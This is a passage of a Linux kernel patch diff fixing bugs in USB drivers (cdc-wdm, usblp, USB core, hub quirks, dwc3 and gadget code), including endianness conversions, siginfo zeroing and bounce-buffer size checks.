dr->wIndex, dr->wLength); + le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength)); break; case USB_CDC_NOTIFY_NETWORK_CONNECTION: @@ -257,7 +257,9 @@ static void wdm_int_callback(struct urb *urb) clear_bit(WDM_POLL_RUNNING, &desc->flags); dev_err(&desc->intf->dev, "unknown notification %d received: index %d len %d\n", - dr->bNotificationType, dr->wIndex, dr->wLength); + dr->bNotificationType, + le16_to_cpu(dr->wIndex), + le16_to_cpu(dr->wLength)); goto exit; } @@ -403,7 +405,7 @@ static ssize_t wdm_write USB_RECIP_INTERFACE); req->bRequest = USB_CDC_SEND_ENCAPSULATED_COMMAND; req->wValue = 0; - req->wIndex = desc->inum; + req->wIndex = desc->inum; /* already converted */ req->wLength = cpu_to_le16(count); set_bit(WDM_IN_USE, &desc->flags); desc->outbuf = buf; @@ -417,7 +419,7 @@ static ssize_t wdm_write rv = usb_translate_errors(rv); } else { dev_dbg(&desc->intf->dev, "Tx URB has been submitted index=%d", - req->wIndex); + le16_to_cpu(req->wIndex)); } out: usb_autopm_put_interface(desc->intf); @@ -780,7 +782,7 @@ static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor desc->irq->bRequestType = (USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE); desc->irq->bRequest = USB_CDC_GET_ENCAPSULATED_RESPONSE; desc->irq->wValue = 0; - desc->irq->wIndex = desc->inum; + desc->irq->wIndex = desc->inum; /* already converted */ desc->irq->wLength = cpu_to_le16(desc->wMaxCommand); usb_fill_control_urb( diff --git a/drivers/usb/class/usblp.c b/drivers/usb/class/usblp.c index d4c47d5d76253..7ac5fac8600b6 100644 --- a/drivers/usb/class/usblp.c +++ b/drivers/usb/class/usblp.c @@ -870,11 +870,11 @@ static int usblp_wwait(struct usblp *usblp, int nonblock) add_wait_queue(&usblp->wwait, &waita); for (;;) { - set_current_state(TASK_INTERRUPTIBLE); if (mutex_lock_interruptible(&usblp->mut)) { rc = -EINTR; break; } + set_current_state(TASK_INTERRUPTIBLE); rc = usblp_wtest(usblp, nonblock); mutex_unlock(&usblp->mut); if (rc <= 0) diff --git a/drivers/usb/core/buffer.c b/drivers/usb/core/buffer.c index b0585e623ba9a..19fa68a732f32 100644 --- a/drivers/usb/core/buffer.c +++ b/drivers/usb/core/buffer.c @@ -22,17 +22,25 @@ */ /* FIXME tune these based on pool statistics ... */ -static const size_t pool_max[HCD_BUFFER_POOLS] = { - /* platforms without dma-friendly caches might need to - * prevent cacheline sharing... - */ - 32, - 128, - 512, - PAGE_SIZE / 2 - /* bigger --> allocate pages */ +static size_t pool_max[HCD_BUFFER_POOLS] = { + 32, 128, 512, 2048, }; +void __init usb_init_pool_max(void) +{ + /* + * The pool_max values must never be smaller than + * ARCH_KMALLOC_MINALIGN. + */ + if (ARCH_KMALLOC_MINALIGN <= 32) + ; /* Original value is okay */ + else if (ARCH_KMALLOC_MINALIGN <= 64) + pool_max[0] = 64; + else if (ARCH_KMALLOC_MINALIGN <= 128) + pool_max[0] = 0; /* Don't use this pool */ + else + BUILD_BUG(); /* We don't allow this */ +} /* SETUP primitives */ diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c index 6524383251970..9b05e88d6220f 100644 --- a/drivers/usb/core/config.c +++ b/drivers/usb/core/config.c @@ -114,16 +114,18 @@ static void usb_parse_ss_endpoint_companion(struct device *ddev, int cfgno, cfgno, inum, asnum, ep->desc.bEndpointAddress); ep->ss_ep_comp.bmAttributes = 16; } else if (usb_endpoint_xfer_isoc(&ep->desc) && - desc->bmAttributes > 2) { + USB_SS_MULT(desc->bmAttributes) > 3) { dev_warn(ddev, "Isoc endpoint has Mult of %d in " "config %d interface %d altsetting %d ep %d: " - "setting to 3\n", desc->bmAttributes + 1, + "setting to 3\n", + USB_SS_MULT(desc->bmAttributes), cfgno, inum, asnum, ep->desc.bEndpointAddress); ep->ss_ep_comp.bmAttributes = 2; } if (usb_endpoint_xfer_isoc(&ep->desc)) - max_tx = (desc->bMaxBurst + 1) * (desc->bmAttributes + 1) * + max_tx = (desc->bMaxBurst + 1) * + (USB_SS_MULT(desc->bmAttributes)) * usb_endpoint_maxp(&ep->desc); else if (usb_endpoint_xfer_int(&ep->desc)) max_tx = usb_endpoint_maxp(&ep->desc) * diff --git a/drivers/usb/core/devio.c b/drivers/usb/core/devio.c index 87734840292b6..cfce807531f62 100644 --- a/drivers/usb/core/devio.c +++ b/drivers/usb/core/devio.c @@ -501,6 +501,7 @@ static void async_completed(struct urb *urb) as->status = urb->status; signr = as->signr; if (signr) { + memset(&sinfo, 0, sizeof(sinfo)); sinfo.si_signo = as->signr; sinfo.si_errno = as->status; sinfo.si_code = SI_ASYNCIO; @@ -512,7 +513,7 @@ static void async_completed(struct urb *urb) snoop(&urb->dev->dev, "urb complete\n"); snoop_urb(urb->dev, as->userurb, urb->pipe, urb->actual_length, as->status, COMPLETE, NULL, 0); - if ((urb->transfer_flags & URB_DIR_MASK) == USB_DIR_IN) + if ((urb->transfer_flags & URB_DIR_MASK) == URB_DIR_IN) snoop_urb_data(urb, urb->actual_length); if (as->status < 0 && as->bulk_addr && as->status != -ECONNRESET && @@ -1593,7 +1594,7 @@ static struct async *reap_as(struct dev_state *ps) for (;;) { __set_current_state(TASK_INTERRUPTIBLE); as = async_getcompleted(ps); - if (as) + if (as || !connected(ps)) break; if (signal_pending(current)) break; @@ -1616,7 +1617,7 @@ static int proc_reapurb(struct dev_state *ps, void __user *arg) } if (signal_pending(current)) return -EINTR; - return -EIO; + return -ENODEV; } static int proc_reapurbnonblock(struct dev_state *ps, void __user *arg) @@ -1625,10 +1626,11 @@ static int proc_reapurbnonblock(struct dev_state *ps, void __user *arg) struct async *as; as = async_getcompleted(ps); - retval = -EAGAIN; if (as) { retval = processcompl(as, (void __user * __user *)arg); free_async(as); + } else { + retval = (connected(ps) ? -EAGAIN : -ENODEV); } return retval; } @@ -1758,7 +1760,7 @@ static int proc_reapurb_compat(struct dev_state *ps, void __user *arg) } if (signal_pending(current)) return -EINTR; - return -EIO; + return -ENODEV; } static int proc_reapurbnonblock_compat(struct dev_state *ps, void __user *arg) @@ -1766,11 +1768,12 @@ static int proc_reapurbnonblock_compat(struct dev_state *ps, void __user *arg) int retval; struct async *as; - retval = -EAGAIN; as = async_getcompleted(ps); if (as) { retval = processcompl_compat(as, (void __user * __user *)arg); free_async(as); + } else { + retval = (connected(ps) ? -EAGAIN : -ENODEV); } return retval; } @@ -1941,7 +1944,8 @@ static int proc_get_capabilities(struct dev_state *ps, void __user *arg) { __u32 caps; - caps = USBDEVFS_CAP_ZERO_PACKET | USBDEVFS_CAP_NO_PACKET_SIZE_LIM; + caps = USBDEVFS_CAP_ZERO_PACKET | USBDEVFS_CAP_NO_PACKET_SIZE_LIM | + USBDEVFS_CAP_REAP_AFTER_DISCONNECT; if (!ps->dev->bus->no_stop_on_short) caps |= USBDEVFS_CAP_BULK_CONTINUATION; if (ps->dev->bus->sg_tablesize) @@ -2002,6 +2006,32 @@ static long usbdev_do_ioctl(struct file *file, unsigned int cmd, return -EPERM; usb_lock_device(dev); + + /* Reap operations are allowed even after disconnection */ + switch (cmd) { + case USBDEVFS_REAPURB: + snoop(&dev->dev, "%s: REAPURB\n", __func__); + ret = proc_reapurb(ps, p); + goto done; + + case USBDEVFS_REAPURBNDELAY: + snoop(&dev->dev, "%s: REAPURBNDELAY\n", __func__); + ret = proc_reapurbnonblock(ps, p); + goto done; + +#ifdef CONFIG_COMPAT + case USBDEVFS_REAPURB32: + snoop(&dev->dev, "%s: REAPURB32\n", __func__); + ret = proc_reapurb_compat(ps, p); + goto done; + + case USBDEVFS_REAPURBNDELAY32: + snoop(&dev->dev, "%s: REAPURBNDELAY32\n", __func__); + ret = proc_reapurbnonblock_compat(ps, p); + goto done; +#endif + } + if (!connected(ps)) { usb_unlock_device(dev); return -ENODEV; @@ -2095,16 +2125,6 @@ static long usbdev_do_ioctl(struct file *file, unsigned int cmd, inode->i_mtime = CURRENT_TIME; break; - case USBDEVFS_REAPURB32: - snoop(&dev->dev, "%s: REAPURB32\n", __func__); - ret = proc_reapurb_compat(ps, p); - break; - - case USBDEVFS_REAPURBNDELAY32: - snoop(&dev->dev, "%s: REAPURBNDELAY32\n", __func__); - ret = proc_reapurbnonblock_compat(ps, p); - break; - case USBDEVFS_IOCTL32: snoop(&dev->dev, "%s: IOCTL32\n", __func__); ret = proc_ioctl_compat(ps, ptr_to_compat(p)); @@ -2116,16 +2136,6 @@ static long usbdev_do_ioctl(struct file *file, unsigned int cmd, ret = proc_unlinkurb(ps, p); break; - case USBDEVFS_REAPURB: - snoop(&dev->dev, "%s: REAPURB\n", __func__); - ret = proc_reapurb(ps, p); - break; - - case USBDEVFS_REAPURBNDELAY: - snoop(&dev->dev, "%s: REAPURBNDELAY\n", __func__); - ret = proc_reapurbnonblock(ps, p); - break; - case USBDEVFS_DISCSIGNAL: snoop(&dev->dev, "%s: DISCSIGNAL\n", __func__); ret = proc_disconnectsignal(ps, p); @@ -2162,6 +2172,8 @@ static long usbdev_do_ioctl(struct file *file, unsigned int cmd, ret = proc_disconnect_claim(ps, p); break; } + + done: usb_unlock_device(dev); if (ret >= 0) inode->i_atime = CURRENT_TIME; @@ -2229,6 +2241,7 @@ static void usbdev_remove(struct usb_device *udev) wake_up_all(&ps->wait); list_del_init(&ps->list); if (ps->discsignr) { + memset(&sinfo, 0, sizeof(sinfo)); sinfo.si_signo = ps->discsignr; sinfo.si_errno = EPIPE; sinfo.si_code = SI_ASYNCIO; diff --git a/drivers/usb/core/driver.c b/drivers/usb/core/driver.c index 11b96afaf8aeb..16dc788218e8b 100644 --- a/drivers/usb/core/driver.c +++ b/drivers/usb/core/driver.c @@ -461,11 +461,15 @@ static int usb_unbind_interface(struct device *dev) int usb_driver_claim_interface(struct usb_driver *driver, struct usb_interface *iface, void *priv) { - struct device *dev = &iface->dev; + struct device *dev; struct usb_device *udev; int retval = 0; int lpm_disable_error; + if (!iface) + return -ENODEV; + + dev = &iface->dev; if (dev->driver) return -EBUSY; diff --git a/drivers/usb/core/hcd-pci.c b/drivers/usb/core/hcd-pci.c index 4676917e2b1f6..1eac8ddc55567 100644 --- a/drivers/usb/core/hcd-pci.c +++ b/drivers/usb/core/hcd-pci.c @@ -74,6 +74,15 @@ static void for_each_companion(struct pci_dev *pdev, struct usb_hcd *hcd, if (companion->bus != pdev->bus || PCI_SLOT(companion->devfn) != slot) continue; + + /* + * Companion device should be either UHCI,OHCI or EHCI host + * controller, otherwise skip. + */ + if (companion->class != CL_UHCI && companion->class != CL_OHCI && + companion->class != CL_EHCI) + continue; + companion_hcd = pci_get_drvdata(companion); if (!companion_hcd || !companion_hcd->self.root_hub) continue; diff --git a/drivers/usb/core/hcd.c b/drivers/usb/core/hcd.c index 2c06ffc3a30fe..d350a4e3e8210 100644 --- a/drivers/usb/core/hcd.c +++ b/drivers/usb/core/hcd.c @@ -1605,6 +1605,7 @@ static int unlink1(struct usb_hcd *hcd, struct urb *urb, int status) int usb_hcd_unlink_urb (struct urb *urb, int status) { struct usb_hcd *hcd; + struct usb_device *udev = urb->dev; int retval = -EIDRM; unsigned long flags; @@ -1616,20 +1617,19 @@ int usb_hcd_unlink_urb (struct urb *urb, int status) spin_lock_irqsave(&hcd_urb_unlink_lock, flags); if (atomic_read(&urb->use_count) > 0) { retval = 0; - usb_get_dev(urb->dev); + usb_get_dev(udev); } spin_unlock_irqrestore(&hcd_urb_unlink_lock, flags); if (retval == 0) { hcd = bus_to_hcd(urb->dev->bus); retval = unlink1(hcd, urb, status); - usb_put_dev(urb->dev); + if (retval == 0) + retval = -EINPROGRESS; + else if (retval != -EIDRM && retval != -EBUSY) + dev_dbg(&udev->dev, "hcd_unlink_urb %p fail %d\n", + urb, retval); + usb_put_dev(udev); } - - if (retval == 0) - retval = -EINPROGRESS; - else if (retval != -EIDRM && retval != -EBUSY) - dev_dbg(&urb->dev->dev, "hcd_unlink_urb %p fail %d\n", - urb, retval); return retval; } @@ -1961,6 +1961,8 @@ int usb_alloc_streams(struct usb_interface *interface, return -EINVAL; if (dev->speed != USB_SPEED_SUPER) return -EINVAL; + if (dev->state < USB_STATE_CONFIGURED) + return -ENODEV; /* Streams only apply to bulk endpoints. */ for (i = 0; i < num_eps; i++) diff --git a/drivers/usb/core/hub.c b/drivers/usb/core/hub.c index a9fafabf4db4b..ae3744417ab6e 100644 --- a/drivers/usb/core/hub.c +++ b/drivers/usb/core/hub.c @@ -138,6 +138,10 @@ struct usb_hub *usb_hub_to_struct_hub(struct usb_device *hdev) static int usb_device_supports_lpm(struct usb_device *udev) { + /* Some devices have trouble with LPM */ + if (udev->quirks & USB_QUIRK_NO_LPM) + return 0; + /* USB 2.1 (and greater) devices indicate LPM support through * their USB 2.0 Extended Capabilities BOS descriptor. */ @@ -888,6 +892,25 @@ static int hub_usb3_port_disable(struct usb_hub *hub, int port1) if (!hub_is_superspeed(hub->hdev)) return -EINVAL; + ret = hub_port_status(hub, port1, &portstatus, &portchange); + if (ret < 0) + return ret; + + /* + * USB controller Advanced Micro Devices, Inc. [AMD] FCH USB XHCI + * Controller [1022:7814] will have spurious result making the following + * usb 3.0 device hotplugging route to the 2.0 root hub and recognized + * as high-speed device if we set the usb 3.0 port link state to + * Disabled. Since it's already in USB_SS_PORT_LS_RX_DETECT state, we + * check the state here to avoid the bug. + */ + if ((portstatus & USB_PORT_STAT_LINK_STATE) == + USB_SS_PORT_LS_RX_DETECT) { + dev_dbg(&hub->ports[port1 - 1]->dev, + "Not disabling port; link state is RxDetect\n"); + return ret; + } + ret = hub_set_port_link_state(hub, port1, USB_SS_PORT_LS_SS_DISABLED); if (ret) return ret; @@ -1161,7 +1184,8 @@ static void hub_activate(struct usb_hub *hub, enum hub_activation_type type) /* Tell khubd to disconnect the device or * check for a new connection */ - if (udev || (portstatus & USB_PORT_STAT_CONNECTION)) + if (udev || (portstatus & USB_PORT_STAT_CONNECTION) || + (portstatus & USB_PORT_STAT_OVERCURRENT)) set_bit(port1, hub->change_bits); } else if (portstatus & USB_PORT_STAT_ENABLE) { @@ -1706,8 +1730,14 @@ static int hub_probe(struct usb_interface *intf, const struct usb_device_id *id) * - Change autosuspend delay of hub can avoid unnecessary auto * suspend timer for hub, also may decrease power consumption * of USB bus. + * + * - If user has indicated to prevent autosuspend by passing + * usbcore.autosuspend = -1 then keep autosuspend disabled. */ - pm_runtime_set_autosuspend_delay(&hdev->dev, 0); +#ifdef CONFIG_PM_RUNTIME + if (hdev->dev.power.autosuspend_delay >= 0) + pm_runtime_set_autosuspend_delay(&hdev->dev, 0); +#endif /* * Hubs have proper suspend/resume support, except for root hubs @@ -1961,8 +1991,10 @@ void usb_set_device_state(struct usb_device *udev, || new_state == USB_STATE_SUSPENDED) ; /* No change to wakeup settings */ else if (new_state == USB_STATE_CONFIGURED) - wakeup = udev->actconfig->desc.bmAttributes - & USB_CONFIG_ATT_WAKEUP; + wakeup = (udev->quirks & + USB_QUIRK_IGNORE_REMOTE_WAKEUP) ? 0 : + udev->actconfig->desc.bmAttributes & + USB_CONFIG_ATT_WAKEUP; else wakeup = 0; } @@ -3264,6 +3296,43 @@ static int finish_port_resume(struct usb_device *udev) return status; } +/* + * There are some SS USB devices which take longer time for link training. + * XHCI specs 4.19.4 says that when Link training is successful, port + * sets CSC bit to 1. So if SW reads port status before successful link + * training, then it will not find device to be present. + * USB Analyzer log with such buggy devices show that in some cases + * device switch on the RX termination after long delay of host enabling + * the VBUS. In few other cases it has been seen that device fails to + * negotiate link training in first attempt. It has been + * reported till now that few devices take as long as 2000 ms to train + * the link after host enabling its VBUS and termination. Following + * routine implements a 2000 ms timeout for link training. If in a case + * link trains before timeout, loop will exit earlier. + * + * FIXME: If a device was connected before suspend, but was removed + * while system was asleep, then the loop in the following routine will + * only exit at timeout. + * + * This routine should only be called when persist is enabled for a SS + * device. + */ +static int wait_for_ss_port_enable(struct usb_device *udev, + struct usb_hub *hub, int *port1, + u16 *portchange, u16 *portstatus) +{ + int status = 0, delay_ms = 0; + + while (delay_ms < 2000) { + if (status || *portstatus & USB_PORT_STAT_CONNECTION) + break; + msleep(20); + delay_ms += 20; + status = hub_port_status(hub, *port1, portstatus, portchange); + } + return status; +} + /* * usb_port_resume - re-activate a suspended usb device's upstream port * @udev: device to re-activate, not a root hub @@ -3339,10 +3408,10 @@ int usb_port_resume(struct usb_device *udev, pm_message_t msg) dev_dbg(hub->intfdev, "can't resume port %d, status %d\n", port1, status); } else { - /* drive resume for at least 20 msec */ + /* drive resume for USB_RESUME_TIMEOUT msec */ dev_dbg(&udev->dev, "usb %sresume\n", (PMSG_IS_AUTO(msg) ? "auto-" : "")); - msleep(25); + msleep(USB_RESUME_TIMEOUT); /* Virtual root hubs can trigger on GET_PORT_STATUS to * stop resume signaling. Then finish the resume @@ -3370,6 +3439,10 @@ int usb_port_resume(struct usb_device *udev, pm_message_t msg) clear_bit(port1, hub->busy_bits); + if (udev->persist_enabled && hub_is_superspeed(hub->hdev)) + status = wait_for_ss_port_enable(udev, hub, &port1, &portchange, + &portstatus); + status = check_port_resume_type(udev, hub, port1, status, portchange, portstatus); if (status == 0) @@ -4225,7 +4298,13 @@ hub_port_init (struct usb_hub *hub, struct usb_device *udev, int port1, r = -EPROTO; break; } - if (r == 0) + /* + * Some devices time out if they are powered on + * when already connected. They need a second + * reset. But only on the first attempt, + * lest we get into a time out/reset loop + */ + if (r == 0 || (r == -ETIMEDOUT && j == 0)) break; } udev->descriptor.bMaxPacketSize0 = @@ -4363,6 +4442,8 @@ hub_port_init (struct usb_hub *hub, struct usb_device *udev, int port1, goto fail; } + usb_detect_quirks(udev); + if (udev->wusb == 0 && le16_to_cpu(udev->descriptor.bcdUSB) >= 0x0201) { retval = usb_get_bos_descriptor(udev); if (!retval) { @@ -4604,7 +4685,6 @@ static void hub_port_connect_change(struct usb_hub *hub, int port1, if (status < 0) goto loop; - usb_detect_quirks(udev); if (udev->quirks & USB_QUIRK_DELAY_INIT) msleep(1000); @@ -4785,11 +4865,11 @@ static void hub_events(void) spin_unlock_irq(&hub_event_lock); goto hub_disconnected; } else { + hdev = hub->hdev; usb_get_dev(hub->hdev); } spin_unlock_irq(&hub_event_lock); - hdev = hub->hdev; hub_dev = hub->intfdev; intf = to_usb_interface(hub_dev); dev_dbg(hub_dev, "state %d ports %d chg %04x evt %04x\n", diff --git a/drivers/usb/core/quirks.c b/drivers/usb/core/quirks.c index 785b42914a06e..470d8120b5ef2 100644 --- a/drivers/usb/core/quirks.c +++ b/drivers/usb/core/quirks.c @@ -43,6 +43,9 @@ static const struct usb_device_id usb_quirk_list[] = { /* Creative SB Audigy 2 NX */ { USB_DEVICE(0x041e, 0x3020), .driver_info = USB_QUIRK_RESET_RESUME }, + /* Microsoft Wireless Laser Mouse 6000 Receiver */ + { USB_DEVICE(0x045e, 0x00e1), .driver_info = USB_QUIRK_RESET_RESUME }, + /* Microsoft LifeCam-VX700 v2.0 */ { USB_DEVICE(0x045e, 0x0770), .driver_info = USB_QUIRK_RESET_RESUME }, @@ -50,6 +53,13 @@ static const struct usb_device_id usb_quirk_list[] = { { USB_DEVICE(0x046d, 0x082d), .driver_info = USB_QUIRK_DELAY_INIT }, { USB_DEVICE(0x046d, 0x0843), .driver_info = USB_QUIRK_DELAY_INIT }, + /* Logitech ConferenceCam CC3000e */ + { USB_DEVICE(0x046d, 0x0847), .driver_info = USB_QUIRK_DELAY_INIT }, + { USB_DEVICE(0x046d, 0x0848), .driver_info = USB_QUIRK_DELAY_INIT }, + + /* Logitech PTZ Pro Camera */ + { USB_DEVICE(0x046d, 0x0853), .driver_info = USB_QUIRK_DELAY_INIT }, + /* Logitech Quickcam Fusion */ { USB_DEVICE(0x046d, 0x08c1), .driver_info = USB_QUIRK_RESET_RESUME }, @@ -74,6 +84,12 @@ static const struct usb_device_id usb_quirk_list[] = { /* Philips PSC805 audio device */ { USB_DEVICE(0x0471, 0x0155), .driver_info = USB_QUIRK_RESET_RESUME }, + /* Plantronic Audio 655 DSP */ + { USB_DEVICE(0x047f, 0xc008), .driver_info = USB_QUIRK_RESET_RESUME }, + + /* Plantronic Audio 648 USB */ + { USB_DEVICE(0x047f, 0xc013), .driver_info = USB_QUIRK_RESET_RESUME }, + /* Artisman Watchdog Dongle */ { USB_DEVICE(0x04b4, 0x0526), .driver_info = USB_QUIRK_CONFIG_INTF_STRINGS }, @@ -157,6 +173,16 @@ static const struct usb_device_id usb_quirk_list[] = { /* Protocol and OTG Electrical Test Device */ { USB_DEVICE(0x1a0a, 0x0200), .driver_info = USB_QUIRK_OTG_PET }, + /* ASUS Base Station(T100) */ + { USB_DEVICE(0x0b05, 0x17e0), .driver_info = + USB_QUIRK_IGNORE_REMOTE_WAKEUP }, + + /* Blackmagic Design Intensity Shuttle */ + { USB_DEVICE(0x1edb, 0xbd3b), .driver_info = USB_QUIRK_NO_LPM }, + + /* Blackmagic Design UltraStudio SDI */ + { USB_DEVICE(0x1edb, 0xbd4f), .driver_info = USB_QUIRK_NO_LPM }, + { } /* terminating entry must be last */ }; diff --git a/drivers/usb/core/usb.c b/drivers/usb/core/usb.c index 70b57455f7c53..00fd0232639a0 100644 --- a/drivers/usb/core/usb.c +++ b/drivers/usb/core/usb.c @@ -1006,6 +1006,7 @@ static int __init usb_init(void) pr_info("%s: USB support disabled\n", usbcore_name); return 0; } + usb_init_pool_max(); retval = usb_debugfs_init(); if (retval) diff --git a/drivers/usb/dwc3/core.c b/drivers/usb/dwc3/core.c index e63994ef17b5b..c11db031f11f0 100644 --- a/drivers/usb/dwc3/core.c +++ b/drivers/usb/dwc3/core.c @@ -821,11 +821,6 @@ static int dwc3_remove(struct platform_device *pdev) { struct dwc3 *dwc = platform_get_drvdata(pdev); - usb_phy_set_suspend(dwc->usb2_phy, 1); - usb_phy_set_suspend(dwc->usb3_phy, 1); - - pm_runtime_disable(&pdev->dev); - dwc3_debugfs_exit(dwc); switch (dwc->mode) { @@ -847,8 +842,14 @@ static int dwc3_remove(struct platform_device *pdev) dwc3_event_buffers_cleanup(dwc); dwc3_free_event_buffers(dwc); + + usb_phy_set_suspend(dwc->usb2_phy, 1); + usb_phy_set_suspend(dwc->usb3_phy, 1); + dwc3_core_exit(dwc); + pm_runtime_disable(&pdev->dev); + return 0; } diff --git a/drivers/usb/dwc3/dwc3-omap.c b/drivers/usb/dwc3/dwc3-omap.c index 34638b92500d0..cb5f8c44eb3a7 100644 --- a/drivers/usb/dwc3/dwc3-omap.c +++ b/drivers/usb/dwc3/dwc3-omap.c @@ -395,9 +395,9 @@ static int dwc3_omap_remove(struct platform_device *pdev) struct dwc3_omap *omap = platform_get_drvdata(pdev); dwc3_omap_disable_irqs(omap); + device_for_each_child(&pdev->dev, NULL, dwc3_omap_remove_core); pm_runtime_put_sync(&pdev->dev); pm_runtime_disable(&pdev->dev); - device_for_each_child(&pdev->dev, NULL, dwc3_omap_remove_core); return 0; } diff --git a/drivers/usb/dwc3/ep0.c b/drivers/usb/dwc3/ep0.c index 1f5be7e16e27c..9aea56f4631cd 100644 --- a/drivers/usb/dwc3/ep0.c +++ b/drivers/usb/dwc3/ep0.c @@ -277,7 +277,7 @@ static void dwc3_ep0_stall_and_restart(struct dwc3 *dwc) /* stall is always issued on EP0 */ dep = dwc->eps[0]; - __dwc3_gadget_ep_set_halt(dep, 1); + __dwc3_gadget_ep_set_halt(dep, 1, false); dep->flags = DWC3_EP_ENABLED; dwc->delayed_status = false; @@ -519,7 +519,7 @@ static int dwc3_ep0_handle_feature(struct dwc3 *dwc, return -EINVAL; if (set == 0 && (dep->flags & DWC3_EP_WEDGE)) break; - ret = __dwc3_gadget_ep_set_halt(dep, set); + ret = __dwc3_gadget_ep_set_halt(dep, set, true); if (ret) return -EINVAL; break; @@ -758,6 +758,10 @@ static int dwc3_ep0_std_request(struct dwc3 *dwc, struct usb_ctrlrequest *ctrl) dev_vdbg(dwc->dev, "USB_REQ_SET_ISOCH_DELAY\n"); ret = dwc3_ep0_set_isoch_delay(dwc, ctrl); break; + case USB_REQ_SET_INTERFACE: + dev_vdbg(dwc->dev, "USB_REQ_SET_INTERFACE\n"); + dwc->start_config_issued = false; + /* Fall through */ default: dev_vdbg(dwc->dev, "Forwarding to gadget driver\n"); ret = dwc3_ep0_delegate_req(dwc, ctrl); @@ -856,6 +860,11 @@ static void dwc3_ep0_complete_data(struct dwc3 *dwc, unsigned maxp = ep0->endpoint.maxpacket; transfer_size += (maxp - (transfer_size % maxp)); + + /* Maximum of DWC3_EP0_BOUNCE_SIZE can only be received */ + if (transfer_size > DWC3_EP0_BOUNCE_SIZE) + transfer_size = DWC3_EP0_BOUNCE_SIZE; + transferred = min_t(u32, ur->length, transfer_size - length); memcpy(ur->buf, dwc->ep0_bounce, transferred); @@ -970,11 +979,14 @@ static void __dwc3_ep0_do_control_data(struct dwc3 *dwc, return; } - WARN_ON(req->request.length > DWC3_EP0_BOUNCE_SIZE); - maxpacket = dep->endpoint.maxpacket; transfer_size = roundup(req->request.length, maxpacket); + if (transfer_size > DWC3_EP0_BOUNCE_SIZE) { + dev_WARN(dwc->dev, "bounce buf can't handle req len\n"); + transfer_size = DWC3_EP0_BOUNCE_SIZE; + } + dwc->ep0_bounced = true; /* diff --git a/drivers/usb/dwc3/gadget.c b/drivers/usb/dwc3/gadget.c index a60c5e8309f92..de5b6d50ba455 100644 --- a/drivers/usb/dwc3/gadget.c +++ b/drivers/usb/dwc3/gadget.c @@ -381,6 +381,10 @@ int dwc3_send_gadget_generic_command(struct dwc3 *dwc, int cmd, u32 param) if (!(reg & DWC3_DGCMD_CMDACT)) { dev_vdbg(dwc->dev, "Command Complete --> %d\n", DWC3_DGCMD_STATUS(reg)); + if (DWC3_DGCMD_STATUS(reg)) { + ret = -EINVAL; + break; + } ret = 0; break; } @@ -431,6 +435,8 @@ int dwc3_send_gadget_ep_cmd(struct dwc3 *dwc, unsigned ep, */ if (reg & 0x2000) ret = -EAGAIN; + else if (DWC3_DEPCMD_STATUS(reg)) + ret = -EINVAL; else ret = 0; break; @@ -707,7 +713,7 @@ static int __dwc3_gadget_ep_disable(struct dwc3_ep *dep) /* make sure HW endpoint isn't stalled */ if (dep->flags & DWC3_EP_STALL) - __dwc3_gadget_ep_set_halt(dep, 0); + __dwc3_gadget_ep_set_halt(dep, 0, false); reg = dwc3_readl(dwc->regs, DWC3_DALEPENA); reg &= ~DWC3_DALEPENA_EP(dep->number); @@ -1562,7 +1568,7 @@ static int dwc3_gadget_ep_dequeue(struct usb_ep *ep, return ret; } -int __dwc3_gadget_ep_set_halt(struct dwc3_ep *dep, int value) +int __dwc3_gadget_ep_set_halt(struct dwc3_ep *dep, int value, int protocol) { struct dwc3_gadget_ep_cmd_params params; struct dwc3 *dwc = dep->dwc; @@ -1571,6 +1577,14 @@ int __dwc3_gadget_ep_set_halt(struct dwc3_ep *dep, int value) memset(¶ms, 0x00, sizeof(params)); if (value) { + if (!protocol && ((dep->direction && dep->flags & DWC3_EP_BUSY) || + (!list_empty(&dep->req_queued) || + !list_empty(&dep->request_list)))) { + dev_dbg(dwc->dev, "%s: pending request, cannot halt\n", + dep->name); + return -EAGAIN; + } + ret = dwc3_send_gadget_ep_cmd(dwc, dep->number, DWC3_DEPCMD_SETSTALL, ¶ms); if (ret) @@ -1611,7 +1625,7 @@ static int dwc3_gadget_ep_set_halt(struct usb_ep *ep, int value) } dbg_event(dep->number, "HALT", value); - ret = __dwc3_gadget_ep_set_halt(dep, value); + ret = __dwc3_gadget_ep_set_halt(dep, value, false); out: spin_unlock_irqrestore(&dwc->lock, flags); @@ -1632,7 +1646,7 @@ static int dwc3_gadget_ep_set_wedge(struct usb_ep *ep) if (dep->number == 0 || dep->number == 1) return dwc3_gadget_ep0_set_halt(ep, 1); else - return dwc3_gadget_ep_set_halt(ep, 1); + return __dwc3_gadget_ep_set_halt(dep, 1, false); } /* -------------------------------------------------------------------------- */ diff --git a/drivers/usb/dwc3/gadget.h b/drivers/usb/dwc3/gadget.h index cd5492fb98c9a..80870932e406f 100644 --- a/drivers/usb/dwc3/gadget.h +++ b/drivers/usb/dwc3/gadget.h @@ -122,7 +122,7 @@ void dwc3_ep0_out_start(struct dwc3 *dwc); int dwc3_gadget_ep0_set_halt(struct usb_ep *ep, int value); int dwc3_gadget_ep0_queue(struct usb_ep *ep, struct usb_request *request, gfp_t gfp_flags); -int __dwc3_gadget_ep_set_halt(struct dwc3_ep *dep, int value); +int __dwc3_gadget_ep_set_halt(struct dwc3_ep *dep, int value, int protocol); int dwc3_send_gadget_ep_cmd(struct dwc3 *dwc, unsigned ep, unsigned cmd, struct dwc3_gadget_ep_cmd_params *params); int dwc3_send_gadget_generic_command(struct dwc3 *dwc, int cmd, u32 param); diff --git a/drivers/usb/gadget/composite.c b/drivers/usb/gadget/composite.c index 5ec42ecd61774..68ca079606f44 100644 --- a/drivers/usb/gadget/composite.c +++ b/drivers/usb/gadget/composite.c @@ -630,7 +630,7 @@ static int bos_desc(struct usb_composite_dev *cdev) usb_ext->bLength = USB_DT_USB_EXT_CAP_SIZE; usb_ext->bDescriptorType = USB_DT_DEVICE_CAPABILITY; usb_ext->bDevCapabilityType = USB_CAP_TYPE_EXT; - usb_ext->bmAttributes = cpu_to_le32(USB_LPM_SUPPORT); + usb_ext->bmAttributes = cpu_to_le32(USB_LPM_SUPPORT | USB_BESL_SUPPORT); if (gadget_is_superspeed(cdev->gadget)) { /* diff --git a/drivers/usb/gadget/configfs.c b/drivers/usb/gadget/configfs.c index 80e7f75a56c7e..3dab424515efb 100644 --- a/drivers/usb/gadget/configfs.c +++ b/drivers/usb/gadget/configfs.c 